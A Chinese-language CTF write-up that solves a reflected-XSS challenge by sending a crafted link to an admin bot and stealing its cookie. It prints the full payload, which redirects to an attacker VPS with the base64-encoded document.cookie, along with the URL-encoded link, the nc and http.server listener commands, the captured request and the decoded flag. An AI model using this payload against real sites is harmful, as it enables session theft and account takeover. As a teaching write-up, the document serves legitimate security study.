CTF Writeup:结合反射型 XSS 窃取管理员 Cookie 夺旗
1. 题目分析与思路
进入题目页面后,存在两个主要的交互入口:
- 第一个输入框:存在反射型 XSS(Reflected XSS)漏洞,对应的参数为
show。可通过传入恶意 JavaScript 脚本实现前端代码执行。 - 第二个输入框:提示该接口会由后台管理员(Admin Bot)访问输入的链接。
典型的一套XSS 钓鱼 Admin链。我们的解题思路如下:
- 构造一个携带 XSS Payload 的链接,当受害者(Admin)打开该链接时,浏览器将执行恶意 JS 代码。
- 该 JS 代码会读取当前页面的
document.cookie,并将其发送至我们拥有控制权的公网监听服务。 - 将构造好的链接提交给第二个输入框,诱导管理员 Bot 访问。
- 在公网服务器上接收包含 Flag 的 Cookie 并进行解码。
2. 解题准备
- 目标靶盘 URL:
http://82.157.146.43:13315/zombie - 公网监听服务器 (VPS) IP:
182.92.212.95(需开启并监听80端口)
3. 渗透测试与漏洞利用过程
步骤一:构造 XSS Payload 链接
为了避免 Cookie 中可能含有的特殊字符在 HTTP 请求中传输时发生截断或变形,我们在前端读取 Cookie 后,使用 JavaScript 内置的btoa()函数将其转化为Base64 编码。
恶意 JavaScript 代码:
window.location='http://182.92.212.95/?cookie='+btoa(JSON.stringify(document.cookie));将上述代码嵌入到反射型 XSS 漏洞点<script>标签中,并通过 URL 编码拼接至参数show。
编码后的完整 Payload 链接:
http://82.157.146.43:13315/zombie?show=a%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F182.92.212.95%2F%3Fcookie%3D%27%2Bbtoa%28JSON.stringify%28document.cookie%29%29%3B%3C%2Fscript%3E步骤二:本地连通性测试
在 VPS 上启动端口监听(此处使用nc监听 80 端口):也可以自己找相应的工具进行监听:
python -m http.server 80 # 或者使用 nc -lvnp 80使用本地浏览器手动访问在步骤一中构造好的Payload 链接。接着可在 VPS 监听端观察到一条 HTTP 回显请求:
GET /?cookie=IiI= HTTP/1.1 ...此时参数cookie后面的值为IiI=(解码后为""),这是因为当前本地浏览器并没有对应的 Admin 凭证 Cookie,但此步骤验证了网络通道与 XSS 跳转逻辑是通畅的。
步骤三:诱导管理员访问获取 Flag
- 再次确保 VPS 上的 80 端口处于监听状态。
- 将步骤一构造好的完整Payload 链接粘贴到第二个输入框(提示管理员会访问的输入框)中并提交。
- 稍等片刻,管理员 Bot 会在后台使用其特权账号(携带 Flag Cookie)访问该链接,从而触发我们的 XSS Payload。
此时,VPS 端的监听终端成功捕获到了管理员 Bot 发送过来的 GET 请求:
GET /?cookie=IndjdGZ7YzE0NTUxYy00ZG0xbi04MDctY2g0MS1uMWMzLWowYi05MzI2MX0i HTTP/1.1 Host: 182.92.212.95 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ... Connection: keep-alive步骤四:Flag 解码
提取出请求参数中的 Base64 密文:
IndjdGZ7YzE0NTUxYy00ZG0xbi04MDctY2g0MS1uMWMzLWowYi05MzI2MX0i在终端环境或在线解码工具中进行 Base64 解码:
echo -n "IndjdGZ7YzE0NTUxYy00ZG0xbi04MDctY2g0MS1uMWMzLWowYi05MzI2MX0i" | base64 -d输出结果:
"wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}"最终 Flag 值为:wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}